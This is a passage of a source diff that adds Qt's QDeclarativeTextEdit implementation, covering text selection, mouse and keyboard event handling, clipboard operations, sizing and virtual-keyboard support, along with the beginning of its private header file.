+ Q_D(const QDeclarativeTextEdit);
+ return d->control->textCursor().selectionStart();
+}
+
+/*!
+ \qmlproperty int TextEdit::selectionEnd
+
+ The cursor position after the last character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
+ selectAll(), or selectWord().
+
+ \sa selectionStart, cursorPosition, selectedText
+*/
+int QDeclarativeTextEdit::selectionEnd() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->control->textCursor().selectionEnd();
+}
+
+/*!
+ \qmlproperty string TextEdit::selectedText
+
+ This read-only property provides the text currently selected in the
+ text edit.
+
+ It is equivalent to the following snippet, but is faster and easier
+ to use.
+ \code
+ //myTextEdit is the id of the TextEdit
+ myTextEdit.text.toString().substring(myTextEdit.selectionStart,
+ myTextEdit.selectionEnd);
+ \endcode
+*/
+QString QDeclarativeTextEdit::selectedText() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->control->textCursor().selectedText();
+}
+
+/*!
+ \qmlproperty bool TextEdit::activeFocusOnPress
+
+ Whether the TextEdit should gain active focus on a mouse press. By default this is
+ set to true.
+*/
+bool QDeclarativeTextEdit::focusOnPress() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->focusOnPress;
+}
+
+void QDeclarativeTextEdit::setFocusOnPress(bool on)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->focusOnPress == on)
+ return;
+ d->focusOnPress = on;
+ emit activeFocusOnPressChanged(d->focusOnPress);
+}
+
+/*!
+ \qmlproperty bool TextEdit::persistentSelection
+
+ Whether the TextEdit should keep the selection visible when it loses active focus to another
+ item in the scene. By default this is set to true;
+*/
+bool QDeclarativeTextEdit::persistentSelection() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->persistentSelection;
+}
+
+void QDeclarativeTextEdit::setPersistentSelection(bool on)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->persistentSelection == on)
+ return;
+ d->persistentSelection = on;
+ emit persistentSelectionChanged(d->persistentSelection);
+}
+
+/*
+ \qmlproperty real TextEdit::textMargin
+
+ The margin, in pixels, around the text in the TextEdit.
+*/
+qreal QDeclarativeTextEdit::textMargin() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->textMargin;
+}
+
+void QDeclarativeTextEdit::setTextMargin(qreal margin)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->textMargin == margin)
+ return;
+ d->textMargin = margin;
+ d->document->setDocumentMargin(d->textMargin);
+ emit textMarginChanged(d->textMargin);
+}
+
+void QDeclarativeTextEdit::geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry)
+{
+ if (newGeometry.width() != oldGeometry.width())
+ updateSize();
+ QDeclarativePaintedItem::geometryChanged(newGeometry, oldGeometry);
+}
+
+/*!
+ Ensures any delayed caching or data loading the class
+ needs to performed is complete.
+*/
+void QDeclarativeTextEdit::componentComplete()
+{
+ Q_D(QDeclarativeTextEdit);
+ QDeclarativePaintedItem::componentComplete();
+ if (d->dirty) {
+ d->determineHorizontalAlignment();
+ d->updateDefaultTextOption();
+ updateSize();
+ d->dirty = false;
+ }
+}
+
+/*!
+ \qmlproperty bool TextEdit::selectByMouse
+
+ Defaults to false.
+
+ If true, the user can use the mouse to select text in some
+ platform-specific way. Note that for some platforms this may
+ not be an appropriate interaction (eg. may conflict with how
+ the text needs to behave inside a Flickable.
+*/
+bool QDeclarativeTextEdit::selectByMouse() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->selectByMouse;
+}
+
+void QDeclarativeTextEdit::setSelectByMouse(bool on)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->selectByMouse != on) {
+ d->selectByMouse = on;
+ setKeepMouseGrab(on);
+ if (on)
+ setTextInteractionFlags(d->control->textInteractionFlags() | Qt::TextSelectableByMouse);
+ else
+ setTextInteractionFlags(d->control->textInteractionFlags() & ~Qt::TextSelectableByMouse);
+ emit selectByMouseChanged(on);
+ }
+}
+
+
+/*!
+ \qmlproperty enum TextEdit::mouseSelectionMode
+ \since QtQuick 1.1
+
+ Specifies how text should be selected using a mouse.
+
+ \list
+ \o TextEdit.SelectCharacters - The selection is updated with individual characters. (Default)
+ \o TextEdit.SelectWords - The selection is updated with whole words.
+ \endlist
+
+ This property only applies when \l selectByMouse is true.
+*/
+
+QDeclarativeTextEdit::SelectionMode QDeclarativeTextEdit::mouseSelectionMode() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->mouseSelectionMode;
+}
+
+void QDeclarativeTextEdit::setMouseSelectionMode(SelectionMode mode)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->mouseSelectionMode != mode) {
+ d->mouseSelectionMode = mode;
+ d->control->setWordSelectionEnabled(mode == SelectWords);
+ emit mouseSelectionModeChanged(mode);
+ }
+}
+
+/*!
+ \qmlproperty bool TextEdit::readOnly
+
+ Whether the user an interact with the TextEdit item. If this
+ property is set to true the text cannot be edited by user interaction.
+
+ By default this property is false.
+*/
+void QDeclarativeTextEdit::setReadOnly(bool r)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (r == isReadOnly())
+ return;
+
+ setFlag(QGraphicsItem::ItemAcceptsInputMethod, !r);
+
+ Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse;
+ if (d->selectByMouse)
+ flags = flags | Qt::TextSelectableByMouse;
+ if (!r)
+ flags = flags | Qt::TextSelectableByKeyboard | Qt::TextEditable;
+ d->control->setTextInteractionFlags(flags);
+ if (!r)
+ d->control->moveCursor(QTextCursor::End);
+
+ emit readOnlyChanged(r);
+}
+
+bool QDeclarativeTextEdit::isReadOnly() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return !(d->control->textInteractionFlags() & Qt::TextEditable);
+}
+
+/*!
+ Sets how the text edit should interact with user input to the given
+ \a flags.
+*/
+void QDeclarativeTextEdit::setTextInteractionFlags(Qt::TextInteractionFlags flags)
+{
+ Q_D(QDeclarativeTextEdit);
+ d->control->setTextInteractionFlags(flags);
+}
+
+/*!
+ Returns the flags specifying how the text edit should interact
+ with user input.
+*/
+Qt::TextInteractionFlags QDeclarativeTextEdit::textInteractionFlags() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->control->textInteractionFlags();
+}
+
+/*!
+ \qmlproperty rectangle TextEdit::cursorRectangle
+
+ The rectangle where the text cursor is rendered
+ within the text edit. Read-only.
+*/
+QRect QDeclarativeTextEdit::cursorRectangle() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->control->cursorRect().toRect().translated(0,d->yoff);
+}
+
+
+/*!
+\overload
+Handles the given \a event.
+*/
+bool QDeclarativeTextEdit::event(QEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (event->type() == QEvent::ShortcutOverride) {
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ return event->isAccepted();
+ }
+ return QDeclarativePaintedItem::event(event);
+}
+
+/*!
+\overload
+Handles the given key \a event.
+*/
+void QDeclarativeTextEdit::keyPressEvent(QKeyEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+ keyPressPreHandler(event);
+ if (!event->isAccepted())
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!event->isAccepted())
+ QDeclarativePaintedItem::keyPressEvent(event);
+}
+
+/*!
+\overload
+Handles the given key \a event.
+*/
+void QDeclarativeTextEdit::keyReleaseEvent(QKeyEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+ keyReleasePreHandler(event);
+ if (!event->isAccepted())
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!event->isAccepted())
+ QDeclarativePaintedItem::keyReleaseEvent(event);
+}
+
+void QDeclarativeTextEditPrivate::focusChanged(bool hasFocus)
+{
+ Q_Q(QDeclarativeTextEdit);
+ q->setCursorVisible(hasFocus && scene && scene->hasFocus());
+ QDeclarativeItemPrivate::focusChanged(hasFocus);
+}
+
+/*!
+ \qmlmethod void TextEdit::deselect()
+ \since QtQuick 1.1
+
+ Removes active text selection.
+*/
+void QDeclarativeTextEdit::deselect()
+{
+ Q_D(QDeclarativeTextEdit);
+ QTextCursor c = d->control->textCursor();
+ c.clearSelection();
+ d->control->setTextCursor(c);
+}
+
+/*!
+ \qmlmethod void TextEdit::selectAll()
+
+ Causes all text to be selected.
+*/
+void QDeclarativeTextEdit::selectAll()
+{
+ Q_D(QDeclarativeTextEdit);
+ d->control->selectAll();
+}
+
+/*!
+ \qmlmethod void TextEdit::selectWord()
+
+ Causes the word closest to the current cursor position to be selected.
+*/
+void QDeclarativeTextEdit::selectWord()
+{
+ Q_D(QDeclarativeTextEdit);
+ QTextCursor c = d->control->textCursor();
+ c.select(QTextCursor::WordUnderCursor);
+ d->control->setTextCursor(c);
+}
+
+/*!
+ \qmlmethod void TextEdit::select(int start, int end)
+
+ Causes the text from \a start to \a end to be selected.
+
+ If either start or end is out of range, the selection is not changed.
+
+ After calling this, selectionStart will become the lesser
+ and selectionEnd will become the greater (regardless of the order passed
+ to this method).
+
+ \sa selectionStart, selectionEnd
+*/
+void QDeclarativeTextEdit::select(int start, int end)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (start < 0 || end < 0 || start > d->text.length() || end > d->text.length())
+ return;
+ QTextCursor cursor = d->control->textCursor();
+ cursor.beginEditBlock();
+ cursor.setPosition(start, QTextCursor::MoveAnchor);
+ cursor.setPosition(end, QTextCursor::KeepAnchor);
+ cursor.endEditBlock();
+ d->control->setTextCursor(cursor);
+
+ // QTBUG-11100
+ updateSelectionMarkers();
+}
+
+/*!
+ \qmlmethod void TextEdit::isRightToLeft(int start, int end)
+
+ Returns true if the natural reading direction of the editor text
+ found between positions \a start and \a end is right to left.
+*/
+bool QDeclarativeTextEdit::isRightToLeft(int start, int end)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (start > end) {
+ qmlInfo(this) << "isRightToLeft(start, end) called with the end property being smaller than the start.";
+ return false;
+ } else {
+ return d->text.mid(start, end - start).isRightToLeft();
+ }
+}
+
+#ifndef QT_NO_CLIPBOARD
+/*!
+ \qmlmethod TextEdit::cut()
+
+ Moves the currently selected text to the system clipboard.
+*/
+void QDeclarativeTextEdit::cut()
+{
+ Q_D(QDeclarativeTextEdit);
+ d->control->cut();
+}
+
+/*!
+ \qmlmethod TextEdit::copy()
+
+ Copies the currently selected text to the system clipboard.
+*/
+void QDeclarativeTextEdit::copy()
+{
+ Q_D(QDeclarativeTextEdit);
+ d->control->copy();
+}
+
+/*!
+ \qmlmethod TextEdit::paste()
+
+ Replaces the currently selected text by the contents of the system clipboard.
+*/
+void QDeclarativeTextEdit::paste()
+{
+ Q_D(QDeclarativeTextEdit);
+ d->control->paste();
+}
+#endif // QT_NO_CLIPBOARD
+
+/*!
+\overload
+Handles the given mouse \a event.
+*/
+void QDeclarativeTextEdit::mousePressEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->focusOnPress){
+ bool hadActiveFocus = hasActiveFocus();
+ forceActiveFocus();
+ if (d->showInputPanelOnFocus) {
+ if (hasActiveFocus() && hadActiveFocus && !isReadOnly()) {
+ // re-open input panel on press if already focused
+ openSoftwareInputPanel();
+ }
+ } else { // show input panel on click
+ if (hasActiveFocus() && !hadActiveFocus) {
+ d->clickCausedFocus = true;
+ }
+ }
+ }
+
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!event->isAccepted())
+ QDeclarativePaintedItem::mousePressEvent(event);
+}
+
+/*!
+\overload
+Handles the given mouse \a event.
+*/
+void QDeclarativeTextEdit::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!d->showInputPanelOnFocus) { // input panel on click
+ if (d->focusOnPress && !isReadOnly() && boundingRect().contains(event->pos())) {
+ if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
+ if (view->scene() && view->scene() == scene()) {
+ qt_widget_private(view)->handleSoftwareInputPanel(event->button(), d->clickCausedFocus);
+ }
+ }
+ }
+ }
+ d->clickCausedFocus = false;
+
+ if (!event->isAccepted())
+ QDeclarativePaintedItem::mouseReleaseEvent(event);
+}
+
+/*!
+\overload
+Handles the given mouse \a event.
+*/
+void QDeclarativeTextEdit::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!event->isAccepted())
+ QDeclarativePaintedItem::mouseDoubleClickEvent(event);
+
+}
+
+/*!
+\overload
+Handles the given mouse \a event.
+*/
+void QDeclarativeTextEdit::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (!event->isAccepted())
+ QDeclarativePaintedItem::mouseMoveEvent(event);
+}
+
+/*!
+\overload
+Handles the given input method \a event.
+*/
+void QDeclarativeTextEdit::inputMethodEvent(QInputMethodEvent *event)
+{
+ Q_D(QDeclarativeTextEdit);
+ const bool wasComposing = isInputMethodComposing();
+ d->control->processEvent(event, QPointF(0, -d->yoff));
+ if (wasComposing != isInputMethodComposing())
+ emit inputMethodComposingChanged();
+}
+
+/*!
+\overload
+Returns the value of the given \a property.
+*/
+QVariant QDeclarativeTextEdit::inputMethodQuery(Qt::InputMethodQuery property) const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->control->inputMethodQuery(property);
+}
+
+/*!
+Draws the contents of the text edit using the given \a painter within
+the given \a bounds.
+*/
+void QDeclarativeTextEdit::drawContents(QPainter *painter, const QRect &bounds)
+{
+ Q_D(QDeclarativeTextEdit);
+
+ painter->setRenderHint(QPainter::TextAntialiasing, true);
+ painter->translate(0,d->yoff);
+
+ d->control->drawContents(painter, bounds.translated(0,-d->yoff));
+
+ painter->translate(0,-d->yoff);
+}
+
+void QDeclarativeTextEdit::updateImgCache(const QRectF &rf)
+{
+ Q_D(const QDeclarativeTextEdit);
+ QRect r;
+ if (!rf.isValid()) {
+ r = QRect(0,0,INT_MAX,INT_MAX);
+ } else {
+ r = rf.toRect();
+ if (r.height() > INT_MAX/2) {
+ // Take care of overflow when translating "everything"
+ r.setTop(r.y() + d->yoff);
+ r.setBottom(INT_MAX/2);
+ } else {
+ r = r.translated(0,d->yoff);
+ }
+ }
+ dirtyCache(r);
+ emit update();
+}
+
+/*!
+ \qmlproperty bool TextEdit::smooth
+
+ This property holds whether the text is smoothly scaled or transformed.
+
+ Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+*/
+
+/*!
+ \qmlproperty bool TextEdit::canPaste
+ \since QtQuick 1.1
+
+ Returns true if the TextEdit is writable and the content of the clipboard is
+ suitable for pasting into the TextEdit.
+*/
+bool QDeclarativeTextEdit::canPaste() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->canPaste;
+}
+
+/*!
+ \qmlproperty bool TextEdit::inputMethodComposing
+
+ \since QtQuick 1.1
+
+ This property holds whether the TextEdit has partial text input from an
+ input method.
+
+ While it is composing an input method may rely on mouse or key events from
+ the TextEdit to edit or commit the partial text. This property can be used
+ to determine when to disable events handlers that may interfere with the
+ correct operation of an input method.
+*/
+bool QDeclarativeTextEdit::isInputMethodComposing() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ if (QTextLayout *layout = d->control->textCursor().block().layout())
+ return layout->preeditAreaText().length() > 0;
+ return false;
+}
+
+void QDeclarativeTextEditPrivate::init()
+{
+ Q_Q(QDeclarativeTextEdit);
+
+ q->setSmooth(smooth);
+ q->setAcceptedMouseButtons(Qt::LeftButton);
+ q->setFlag(QGraphicsItem::ItemHasNoContents, false);
+ q->setFlag(QGraphicsItem::ItemAcceptsInputMethod);
+
+ control = new QTextControl(q);
+ control->setIgnoreUnusedNavigationEvents(true);
+ control->setTextInteractionFlags(Qt::LinksAccessibleByMouse | Qt::TextSelectableByKeyboard | Qt::TextEditable);
+ control->setDragEnabled(false);
+
+ // QTextControl follows the default text color
+ // defined by the platform, declarative text
+ // should be black by default
+ QPalette pal = control->palette();
+ if (pal.color(QPalette::Text) != color) {
+ pal.setColor(QPalette::Text, color);
+ control->setPalette(pal);
+ }
+
+ QObject::connect(control, SIGNAL(updateRequest(QRectF)), q, SLOT(updateImgCache(QRectF)));
+
+ QObject::connect(control, SIGNAL(textChanged()), q, SLOT(q_textChanged()));
+ QObject::connect(control, SIGNAL(selectionChanged()), q, SIGNAL(selectionChanged()));
+ QObject::connect(control, SIGNAL(selectionChanged()), q, SLOT(updateSelectionMarkers()));
+ QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SLOT(updateSelectionMarkers()));
+ QObject::connect(control, SIGNAL(cursorPositionChanged()), q, SIGNAL(cursorPositionChanged()));
+ QObject::connect(control, SIGNAL(microFocusChanged()), q, SLOT(moveCursorDelegate()));
+ QObject::connect(control, SIGNAL(linkActivated(QString)), q, SIGNAL(linkActivated(QString)));
+#ifndef QT_NO_CLIPBOARD
+ QObject::connect(q, SIGNAL(readOnlyChanged(bool)), q, SLOT(q_canPasteChanged()));
+ QObject::connect(QApplication::clipboard(), SIGNAL(dataChanged()), q, SLOT(q_canPasteChanged()));
+ canPaste = control->canPaste();
+#endif
+
+ document = control->document();
+ document->setDefaultFont(font);
+ document->setDocumentMargin(textMargin);
+ document->setUndoRedoEnabled(false); // flush undo buffer.
+ document->setUndoRedoEnabled(true);
+ updateDefaultTextOption();
+}
+
+void QDeclarativeTextEdit::q_textChanged()
+{
+ Q_D(QDeclarativeTextEdit);
+ d->text = text();
+ d->rightToLeftText = d->document->begin().layout()->engine()->isRightToLeft();
+ d->determineHorizontalAlignment();
+ d->updateDefaultTextOption();
+ updateSize();
+ updateTotalLines();
+ emit textChanged(d->text);
+}
+
+void QDeclarativeTextEdit::moveCursorDelegate()
+{
+ Q_D(QDeclarativeTextEdit);
+ d->determineHorizontalAlignment();
+ updateMicroFocus();
+ emit cursorRectangleChanged();
+ if(!d->cursor)
+ return;
+ QRectF cursorRect = cursorRectangle();
+ d->cursor->setX(cursorRect.x());
+ d->cursor->setY(cursorRect.y());
+}
+
+void QDeclarativeTextEditPrivate::updateSelection()
+{
+ Q_Q(QDeclarativeTextEdit);
+ QTextCursor cursor = control->textCursor();
+ bool startChange = (lastSelectionStart != cursor.selectionStart());
+ bool endChange = (lastSelectionEnd != cursor.selectionEnd());
+ cursor.beginEditBlock();
+ cursor.setPosition(lastSelectionStart, QTextCursor::MoveAnchor);
+ cursor.setPosition(lastSelectionEnd, QTextCursor::KeepAnchor);
+ cursor.endEditBlock();
+ control->setTextCursor(cursor);
+ if(startChange)
+ q->selectionStartChanged();
+ if(endChange)
+ q->selectionEndChanged();
+}
+
+void QDeclarativeTextEdit::updateSelectionMarkers()
+{
+ Q_D(QDeclarativeTextEdit);
+ if(d->lastSelectionStart != d->control->textCursor().selectionStart()){
+ d->lastSelectionStart = d->control->textCursor().selectionStart();
+ emit selectionStartChanged();
+ }
+ if(d->lastSelectionEnd != d->control->textCursor().selectionEnd()){
+ d->lastSelectionEnd = d->control->textCursor().selectionEnd();
+ emit selectionEndChanged();
+ }
+}
+
+QRectF QDeclarativeTextEdit::boundingRect() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ QRectF r = QDeclarativePaintedItem::boundingRect();
+ int cursorWidth = 1;
+ if(d->cursor)
+ cursorWidth = d->cursor->width();
+ if(!d->document->isEmpty())
+ cursorWidth += 3;// ### Need a better way of accounting for space between char and cursor
+
+ // Could include font max left/right bearings to either side of rectangle.
+
+ r.setRight(r.right() + cursorWidth);
+ return r.translated(0,d->yoff);
+}
+
+qreal QDeclarativeTextEditPrivate::implicitWidth() const
+{
+ Q_Q(const QDeclarativeTextEdit);
+ if (!requireImplicitWidth) {
+ // We don't calculate implicitWidth unless it is required.
+ // We need to force a size update now to ensure implicitWidth is calculated
+ const_cast<QDeclarativeTextEditPrivate*>(this)->requireImplicitWidth = true;
+ const_cast<QDeclarativeTextEdit*>(q)->updateSize();
+ }
+ return mImplicitWidth;
+}
+
+//### we should perhaps be a bit smarter here -- depending on what has changed, we shouldn't
+// need to do all the calculations each time
+void QDeclarativeTextEdit::updateSize()
+{
+ Q_D(QDeclarativeTextEdit);
+ if (isComponentComplete()) {
+ qreal naturalWidth = d->mImplicitWidth;
+ // ### assumes that if the width is set, the text will fill to edges
+ // ### (unless wrap is false, then clipping will occur)
+ if (widthValid()) {
+ if (!d->requireImplicitWidth) {
+ emit implicitWidthChanged();
+ // if the implicitWidth is used, then updateSize() has already been called (recursively)
+ if (d->requireImplicitWidth)
+ return;
+ }
+ if (d->requireImplicitWidth) {
+ d->document->setTextWidth(-1);
+ naturalWidth = d->document->idealWidth();
+ }
+ if (d->document->textWidth() != width())
+ d->document->setTextWidth(width());
+ } else {
+ d->document->setTextWidth(-1);
+ }
+ QFontMetrics fm = QFontMetrics(d->font);
+ int dy = height();
+ dy -= (int)d->document->size().height();
+
+ int nyoff;
+ if (heightValid()) {
+ if (d->vAlign == AlignBottom)
+ nyoff = dy;
+ else if (d->vAlign == AlignVCenter)
+ nyoff = dy/2;
+ else
+ nyoff = 0;
+ } else {
+ nyoff = 0;
+ }
+ if (nyoff != d->yoff) {
+ prepareGeometryChange();
+ d->yoff = nyoff;
+ }
+ setBaselineOffset(fm.ascent() + d->yoff + d->textMargin);
+
+ //### need to comfirm cost of always setting these
+ int newWidth = qCeil(d->document->idealWidth());
+ if (!widthValid() && d->document->textWidth() != newWidth)
+ d->document->setTextWidth(newWidth); // ### Text does not align if width is not set (QTextDoc bug)
+ // ### Setting the implicitWidth triggers another updateSize(), and unless there are bindings nothing has changed.
+ if (!widthValid())
+ setImplicitWidth(newWidth);
+ else if (d->requireImplicitWidth)
+ setImplicitWidth(naturalWidth);
+ qreal newHeight = d->document->size().height();
+ if (newHeight == 0)
+ newHeight = fm.height();
+ setImplicitHeight(newHeight);
+
+ d->paintedSize = QSize(newWidth, newHeight);
+ setContentsSize(d->paintedSize);
+ emit paintedSizeChanged();
+ } else {
+ d->dirty = true;
+ }
+ emit update();
+}
+
+void QDeclarativeTextEdit::updateTotalLines()
+{
+ Q_D(QDeclarativeTextEdit);
+
+ int subLines = 0;
+
+ for (QTextBlock it = d->document->begin(); it != d->document->end(); it = it.next()) {
+ QTextLayout *layout = it.layout();
+ if (!layout)
+ continue;
+ subLines += layout->lineCount()-1;
+ }
+
+ int newTotalLines = d->document->lineCount() + subLines;
+ if (d->lineCount != newTotalLines) {
+ d->lineCount = newTotalLines;
+ emit lineCountChanged();
+ }
+}
+
+void QDeclarativeTextEditPrivate::updateDefaultTextOption()
+{
+ Q_Q(QDeclarativeTextEdit);
+ QTextOption opt = document->defaultTextOption();
+ int oldAlignment = opt.alignment();
+
+ QDeclarativeTextEdit::HAlignment horizontalAlignment = q->effectiveHAlign();
+ if (rightToLeftText) {
+ if (horizontalAlignment == QDeclarativeTextEdit::AlignLeft)
+ horizontalAlignment = QDeclarativeTextEdit::AlignRight;
+ else if (horizontalAlignment == QDeclarativeTextEdit::AlignRight)
+ horizontalAlignment = QDeclarativeTextEdit::AlignLeft;
+ }
+ opt.setAlignment((Qt::Alignment)(int)(horizontalAlignment | vAlign));
+
+ QTextOption::WrapMode oldWrapMode = opt.wrapMode();
+ opt.setWrapMode(QTextOption::WrapMode(wrapMode));
+
+ if (oldWrapMode == opt.wrapMode() && oldAlignment == opt.alignment())
+ return;
+ document->setDefaultTextOption(opt);
+}
+
+
+/*!
+ \qmlmethod void TextEdit::openSoftwareInputPanel()
+
+ Opens software input panels like virtual keyboards for typing, useful for
+ customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextEdit. On other platforms
+ the panels are automatically opened when TextEdit element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \code
+ import QtQuick 1.0
+ TextEdit {
+ id: textEdit
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textEdit.activeFocus) {
+ textEdit.forceActiveFocus();
+ textEdit.openSoftwareInputPanel();
+ } else {
+ textEdit.focus = false;
+ }
+ }
+ onPressAndHold: textEdit.closeSoftwareInputPanel();
+ }
+ }
+ \endcode
+*/
+void QDeclarativeTextEdit::openSoftwareInputPanel()
+{
+ QEvent event(QEvent::RequestSoftwareInputPanel);
+ if (qApp) {
+ if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
+ if (view->scene() && view->scene() == scene()) {
+ QApplication::sendEvent(view, &event);
+ }
+ }
+ }
+}
+
+/*!
+ \qmlmethod void TextEdit::closeSoftwareInputPanel()
+
+ Closes a software input panel like a virtual keyboard shown on the screen, useful
+ for customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextEdit. On other platforms
+ the panels are automatically opened when TextEdit element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \code
+ import QtQuick 1.0
+ TextEdit {
+ id: textEdit
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textEdit.activeFocus) {
+ textEdit.forceActiveFocus();
+ textEdit.openSoftwareInputPanel();
+ } else {
+ textEdit.focus = false;
+ }
+ }
+ onPressAndHold: textEdit.closeSoftwareInputPanel();
+ }
+ }
+ \endcode
+*/
+void QDeclarativeTextEdit::closeSoftwareInputPanel()
+{
+ QEvent event(QEvent::CloseSoftwareInputPanel);
+ if (qApp) {
+ if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
+ if (view->scene() && view->scene() == scene()) {
+ QApplication::sendEvent(view, &event);
+ }
+ }
+ }
+}
+
+void QDeclarativeTextEdit::focusInEvent(QFocusEvent *event)
+{
+ Q_D(const QDeclarativeTextEdit);
+ if (d->showInputPanelOnFocus) {
+ if (d->focusOnPress && !isReadOnly()) {
+ openSoftwareInputPanel();
+ }
+ }
+ QDeclarativePaintedItem::focusInEvent(event);
+}
+
+void QDeclarativeTextEdit::q_canPasteChanged()
+{
+ Q_D(QDeclarativeTextEdit);
+ bool old = d->canPaste;
+ d->canPaste = d->control->canPaste();
+ if(old!=d->canPaste)
+ emit canPasteChanged();
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
new file mode 100644
index 00000000..68432b45
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
@@ -0,0 +1,305 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETEXTEDIT_H
+#define QDECLARATIVETEXTEDIT_H
+
+#include "private/qdeclarativetext_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p.h"
+
+#include <QtGui/qtextdocument.h>
+#include <QtGui/qtextoption.h>
+#include <QtGui/qtextcursor.h>
+#include <QtGui/qtextformat.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+
+class QDeclarativeTextEditPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePaintedItem
+{
+ Q_OBJECT
+ Q_ENUMS(VAlignment)
+ Q_ENUMS(HAlignment)
+ Q_ENUMS(TextFormat)
+ Q_ENUMS(WrapMode)
+ Q_ENUMS(SelectionMode)
+
+ Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
+ Q_PROPERTY(QColor selectionColor READ selectionColor WRITE setSelectionColor NOTIFY selectionColorChanged)
